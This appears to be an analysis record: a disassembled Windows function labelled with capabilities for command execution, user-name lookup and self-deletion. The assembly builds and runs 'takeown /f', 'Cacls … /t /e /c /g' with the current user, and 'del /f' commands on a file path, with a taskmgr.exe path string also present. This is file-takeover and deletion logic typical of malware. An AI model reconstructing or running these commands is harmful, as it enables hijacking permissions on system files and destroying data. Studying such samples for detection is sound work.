Function at 0x402140
Capabilities:
Execute command
Get session user name
Self delete

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x168
lea r15, [rsp + 0x2c]
lea rsi, [rsp + 0x60]
mov rdx, rcx
mov r12, rcx
lea r14, [rsp + 0x2b]
lea rbp, [rsp + 0x50]
mov r8, r15
mov rcx, rsi
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rdx, str.takeown__f
mov r8, r14
mov rcx, rbp
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
mov r8, qword [rsp + 0x50]
mov rax, qword [rsp + 0x60]
mov r9, qword [r8 - 0x18]
mov rdx, r9
add rdx, qword [rax - 0x18]
cmp rdx, qword [r8 - 0x10]
jbe 0x4021af
cmp rdx, qword [rax - 0x10]
jbe 0x4023b5
mov rdx, rsi
mov rcx, rbp
call method.std::string.append_std::string_const_
lea r13, [rsp + 0x40]
mov rdi, rax
xor edx, edx
xor ecx, ecx
mov rbx, qword [rdi]
mov r8, r13
call method.std::string._S_construct_unsigned_long_long__char__std::allocator_char__const_
mov qword [rdi], rax
mov rcx, rbx
call sym.system
mov eax, 0xffffffff
lock xadd dword [rbx - 8], eax
test eax, eax
jle 0x4023f5
mov rcx, qword [rsp + 0x50]
mov eax, 0xffffffff
lock xadd dword [rcx - 8], eax
test eax, eax
jle 0x402410
mov rcx, qword [rsp + 0x60]
mov eax, 0xffffffff
lock xadd dword [rcx - 8], eax
test eax, eax
jle 0x402421
mov rdi, rsi
lea rsi, [rsp + 0x60]
xor eax, eax
lea rbx, [rsp + 0x30]
mov ecx, 0x20
mov rdx, r15
rep stosq qword [rdi], rax
mov dword [rsp + 0x2c], 0x100
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea rdx, str.Cacls_C:windows_system32_taskmgr.exe__t__e__c__g
mov r8, rbp
mov rcx, rbx
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rdx, str.Cacls
mov r8d, 6
mov rcx, rbx
call method.std::string.assign_char_const__unsigned_long_long_
mov rcx, r12
call sym.strlen
mov rdx, r12
mov r8, rax
mov rcx, rbx
call method.std::string.append_char_const__unsigned_long_long_
lea rdx, str.___t__e__c__g
mov r8d, 0xd
mov rcx, rbx
call method.std::string.append_char_const__unsigned_long_long_
mov r8, r14
mov rdx, rsi
mov rcx, r13
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
mov rdx, r13
mov rcx, rbx
call method.std::string.append_std::string_const_
mov rcx, qword [rsp + 0x40]
mov eax, 0xffffffff
lock xadd dword [rcx - 8], eax
test eax, eax
jle 0x402432
lea rdx, [0x0048a4e8]
mov r8, r14
mov rcx, rbp
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
mov rdx, rbp
mov rcx, rbx
call method.std::string.append_std::string_const_
mov rcx, qword [rsp + 0x50]
mov eax, 0xffffffff
lock xadd dword [rcx - 8], eax
test eax, eax
jle 0x402443
mov rdx, qword [rsp + 0x30]
mov rcx, qword [0x0048ed90]
mov r8, qword [rdx - 0x18]
call method.std::basic_ostream_char__std::char_traits_char____std::__ostream_insert_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const__long_long_
mov r13, rax
mov rax, qword [rax]
mov rax, qword [rax - 0x18]
mov rsi, qword [r13 + rax + 0xf0]
test rsi, rsi
je 0x402465
cmp byte [rsi + 0x38], 0
je 0x4023c4
movsx edx, byte [rsi + 0x43]
mov rcx, r13
call method.std::ostream.put_char_
mov rcx, rax
call method.std::ostream.flush__
mov rcx, qword [rsp + 0x30]
call sym.system
lea rdx, str.del__f
mov r8d, 7
mov rcx, rbx
call method.std::string.assign_char_const__unsigned_long_long_
mov rcx, r12
call sym.strlen
mov rdx, r12
mov r8, rax
mov rcx, rbx
call method.std::string.append_char_const__unsigned_long_long_
mov rcx, qword [rsp + 0x30]
call sym.system
mov rcx, qword [rsp + 0x30]
mov eax, 0xffffffff
lock xadd dword [rcx - 8], eax
test eax, eax
jle 0x402454
add rsp, 0x168
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
xor edx, edx
mov rcx, rsi
call method.std::string.insert_unsigned_long_long__char_const__unsigned_long_long_
jmp 0x4021ba
mov rcx, rsi
call method.std::ctype_char_._M_widen_init___const
mov rax, qword [rsi]
lea rcx, [dbg.std::ctype<char>::do_widen(char) const]
mov edx, 0xa
mov rax, qword [rax + 0x30]
cmp rax, rcx
je 0x40233b
mov rcx, rsi
call rax
movsx edx, al
jmp 0x40233b
lea rcx, [rbx - 0x18]
mov rdx, r13
call method.std::string::_Rep._M_destroy_std::allocator_char__const_
jmp 0x4021ee
sub rcx, 0x18
mov rdx, r13
call method.std::string::_Rep._M_destroy_std::allocator_char__const_
jmp 0x402205
sub rcx, 0x18
mov rdx, rbp
call method.std::string::_Rep._M_destroy_std::allocator_char__const_
jmp 0x40221c
sub rcx, 0x18
mov rdx, rbp
call method.std::string::_Rep._M_destroy_std::allocator_char__const_
jmp 0x4022c9
sub rcx, 0x18
mov rdx, r13
call method.std::string::_Rep._M_destroy_std::allocator_char__const_
jmp 0x4022fd
sub rcx, 0x18
mov rdx, rbp
call method.std::string::_Rep._M_destroy_std::allocator_char__const_
jmp 0x4023a1
call method.std.__throw_bad_cast__
mov rbx, rax
mov rax, qword [rsp + 0x30]
mov rdx, r14
lea rcx, [rax - 0x18]
call method.std::string::_Rep._M_dispose_std::allocator_char__const_
mov rcx, rbx
call dbg._Unwind_Resume
lea rcx, [rbx - 0x18]
mov rdx, r13
mov rsi, rax
call method.std::string::_Rep._M_dispose_std::allocator_char__const_
mov rax, qword [rsp + 0x50]
lea rbx, [rsp + 0x30]
mov rdx, rbx
lea rcx, [rax - 0x18]
call method.std::string::_Rep._M_dispose_std::allocator_char__const_
mov rax, qword [rsp + 0x60]
mov rdx, rbx
lea rcx, [rax - 0x18]
call method.std::string::_Rep._M_dispose_std::allocator_char__const_
mov rcx, rsi
call dbg._Unwind_Resume
mov rbx, rax
mov rax, qword [rsp + 0x50]
mov rdx, r13
lea rcx, [rax - 0x18]
call method.std::string::_Rep._M_dispose_std::allocator_char__const_
jmp 0x40246d